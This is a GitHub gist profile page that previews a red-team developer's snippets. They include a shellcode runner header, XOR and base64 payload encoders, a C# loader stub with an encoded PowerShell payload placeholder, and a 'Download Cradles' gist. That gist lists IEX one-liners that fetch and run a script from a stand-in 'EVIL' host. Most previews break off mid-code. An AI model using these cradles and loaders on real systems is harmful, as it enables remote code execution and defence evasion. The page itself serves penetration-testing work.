Skip to content

Instantly share code, notes, and snippets.

View peewpw's full-sized avatar

Barrett Adams peewpw

View GitHub Profile
@peewpw
peewpw / shellcode_x64.py
Created May 12, 2020 16:03
64 bit Python3 compatible shellcode runner
# 64 bit compatible shellcode launcher
#
# The versions of this I've attempted to use appear to only work in 32bit Python (at least for 3.7-8).
# Hence why this was neede to solve a problem.
#
# based on work from:
# http://www.debasish.in/2012/04/execute-shellcode-using-python.html
# https://www.christophertruncer.com/shellcode-manipulation-and-injection-in-python-3/
# https://stackoverflow.com/a/61258392
#
using System;
using System.Diagnostics;
namespace peewpw
{
static class Program
{
[STAThread]
static void Main()
{
param (
[string]$in = $( Read-Host "Please specify a file to encode with -in" ),
[string]$out = $( Read-Host "Please specify an output file with -out" )
)
if (-Not (Test-Path $in)) { Read-Host "Please specify a valid filepath" }
$str = [System.IO.File]::ReadAllText($in)
$bytes = [System.Text.Encoding]::Ascii.GetBytes($str)
for($i=0; $i -lt $bytes.count; $i++) {
$bytes[$i] = $bytes[$i] -bxor 0x71
}
### Keybase proof
I hereby claim:
* I am peewpw on github.
* I am peewpw (https://keybase.io/peewpw) on keybase.
* I have a public key ASDHYmSfI3b2fhsZZwQEru6gluuBbn8SleJdt8HztfNtYAo
To claim this, I am signing this object:
@peewpw
peewpw / DownloadCradles.ps1
Last active September 23, 2019 16:38 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
VPN Server User Data (for Ubuntu 18.04)
---------------------------
#!/bin/bash
wget https://gist.githubusercontent.com/peewpw/a1a367f1ab68e9262a19b13d33357596/raw/4a49617c0842a477592de916fb330636741ce5a5/quick-and-dirty-vpn.sh
chmod +x quick-and-dirty-vpn.sh
./quick-and-dirty-vpn.sh bsides.demo 10.0.0.104
Get VPN Config file
---------------------------
#!/bin/bash
cd /opt
# Install openvpn
apt-get update
apt-get install openvpn easy-rsa -y
# force vpn server to use amazon's DNS (not dhcp options set)
param (
[string]$in = $( Read-Host "Please specify a file to encode with -in" ),
[string]$out = $( Read-Host "Please specify an output file with -out" )
)
if (-Not (Test-Path $in)) { Read-Host "Please Specify a valid filepath" }
$str = [System.IO.File]::ReadAllText($in)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($str)
[Convert]::ToBase64String($bytes) | Out-File $out
using System.Threading;
using System.Diagnostics;
using System.IO;
namespace peewpw
{
static class Program
{
static string psc = "<encoded powershell payload>";
static void Main(string[] args)